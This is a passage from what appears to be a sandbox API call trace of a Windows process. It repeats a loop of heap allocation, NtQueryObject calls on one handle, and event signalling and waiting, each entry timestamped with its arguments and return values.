BaseAddress=0x90e570) returned 1 [0259.831] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.831] ResetEvent (hEvent=0x110) returned 1 [0259.831] SetEvent (hEvent=0x114) returned 1 [0259.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.831] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.831] ResetEvent (hEvent=0x110) returned 1 [0259.831] SetEvent (hEvent=0x114) returned 1 [0259.831] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.831] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.831] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.831] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.831] ResetEvent (hEvent=0x110) returned 1 [0259.831] SetEvent (hEvent=0x114) returned 1 [0259.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.832] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.832] ResetEvent (hEvent=0x110) returned 1 [0259.832] SetEvent (hEvent=0x114) returned 1 [0259.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.832] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.832] ResetEvent (hEvent=0x110) returned 1 [0259.832] SetEvent (hEvent=0x114) returned 1 [0259.832] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.832] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.832] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.832] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.832] ResetEvent (hEvent=0x110) returned 1 [0259.832] SetEvent (hEvent=0x114) returned 1 [0259.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.833] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.833] ResetEvent (hEvent=0x110) returned 1 [0259.833] SetEvent (hEvent=0x114) returned 1 [0259.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.833] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.833] ResetEvent (hEvent=0x110) returned 1 [0259.833] SetEvent (hEvent=0x114) returned 1 [0259.833] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.833] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.833] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.833] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.833] ResetEvent (hEvent=0x110) returned 1 [0259.833] SetEvent (hEvent=0x114) returned 1 [0259.834] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.834] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.834] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.834] ResetEvent (hEvent=0x110) returned 1 [0259.834] SetEvent (hEvent=0x114) returned 1 [0259.834] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.834] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.834] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.834] ResetEvent (hEvent=0x110) returned 1 [0259.834] SetEvent (hEvent=0x114) returned 1 [0259.834] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.834] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.834] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.834] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.834] ResetEvent (hEvent=0x110) returned 1 [0259.835] SetEvent (hEvent=0x114) returned 1 [0259.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.835] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.835] ResetEvent (hEvent=0x110) returned 1 [0259.835] SetEvent (hEvent=0x114) returned 1 [0259.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.835] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.835] ResetEvent (hEvent=0x110) returned 1 [0259.835] SetEvent (hEvent=0x114) returned 1 [0259.835] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.835] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.835] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.835] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.836] ResetEvent (hEvent=0x110) returned 1 [0259.836] SetEvent (hEvent=0x114) returned 1 [0259.836] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.836] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.836] ResetEvent (hEvent=0x110) returned 1 [0259.836] SetEvent (hEvent=0x114) returned 1 [0259.836] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.836] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.836] ResetEvent (hEvent=0x110) returned 1 [0259.836] SetEvent (hEvent=0x114) returned 1 [0259.836] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.836] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.836] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.836] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.837] ResetEvent (hEvent=0x110) returned 1 [0259.837] SetEvent (hEvent=0x114) returned 1 [0259.837] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.837] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.837] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.837] ResetEvent (hEvent=0x110) returned 1 [0259.837] SetEvent (hEvent=0x114) returned 1 [0259.837] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.837] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.837] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.837] ResetEvent (hEvent=0x110) returned 1 [0259.837] SetEvent (hEvent=0x114) returned 1 [0259.837] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.837] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.838] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.838] ResetEvent (hEvent=0x110) returned 1 [0259.838] SetEvent (hEvent=0x114) returned 1 [0259.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.838] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.838] ResetEvent (hEvent=0x110) returned 1 [0259.838] SetEvent (hEvent=0x114) returned 1 [0259.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.838] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.838] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.838] ResetEvent (hEvent=0x110) returned 1 [0259.838] SetEvent (hEvent=0x114) returned 1 [0259.838] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.839] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.839] ResetEvent (hEvent=0x110) returned 1 [0259.839] SetEvent (hEvent=0x114) returned 1 [0259.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.839] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.839] ResetEvent (hEvent=0x110) returned 1 [0259.839] SetEvent (hEvent=0x114) returned 1 [0259.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.839] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.839] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.839] ResetEvent (hEvent=0x110) returned 1 [0259.839] SetEvent (hEvent=0x114) returned 1 [0259.839] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.839] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.840] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.840] ResetEvent (hEvent=0x110) returned 1 [0259.840] SetEvent (hEvent=0x114) returned 1 [0259.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.840] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.840] ResetEvent (hEvent=0x110) returned 1 [0259.840] SetEvent (hEvent=0x114) returned 1 [0259.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.840] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.840] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.840] ResetEvent (hEvent=0x110) returned 1 [0259.840] SetEvent (hEvent=0x114) returned 1 [0259.840] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.840] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.841] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.841] ResetEvent (hEvent=0x110) returned 1 [0259.841] SetEvent (hEvent=0x114) returned 1 [0259.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.841] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.841] ResetEvent (hEvent=0x110) returned 1 [0259.841] SetEvent (hEvent=0x114) returned 1 [0259.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.841] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.841] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.841] ResetEvent (hEvent=0x110) returned 1 [0259.841] SetEvent (hEvent=0x114) returned 1 [0259.841] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.841] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.842] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.842] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.842] ResetEvent (hEvent=0x110) returned 1 [0259.842] SetEvent (hEvent=0x114) returned 1 [0259.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.842] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.842] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.842] ResetEvent (hEvent=0x110) returned 1 [0259.842] SetEvent (hEvent=0x114) returned 1 [0259.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.842] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.842] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.842] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.842] ResetEvent (hEvent=0x110) returned 1 [0259.842] SetEvent (hEvent=0x114) returned 1 [0259.842] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.843] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.843] ResetEvent (hEvent=0x110) returned 1 [0259.843] SetEvent (hEvent=0x114) returned 1 [0259.843] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.843] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.843] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.843] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.843] ResetEvent (hEvent=0x110) returned 1 [0259.843] SetEvent (hEvent=0x114) returned 1 [0259.845] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.846] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.846] ResetEvent (hEvent=0x110) returned 1 [0259.846] SetEvent (hEvent=0x114) returned 1 [0259.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.846] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.846] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.846] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.846] ResetEvent (hEvent=0x110) returned 1 [0259.846] SetEvent (hEvent=0x114) returned 1 [0259.846] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.847] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.847] ResetEvent (hEvent=0x110) returned 1 [0259.847] SetEvent (hEvent=0x114) returned 1 [0259.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.847] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.847] NtQueryObject (in: Handle=0x1b8, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.847] ResetEvent (hEvent=0x110) returned 1 [0259.847] SetEvent (hEvent=0x114) returned 1 [0259.847] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.847] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.847] RtlFreeHeap (HeapHandle=0x4a0000, 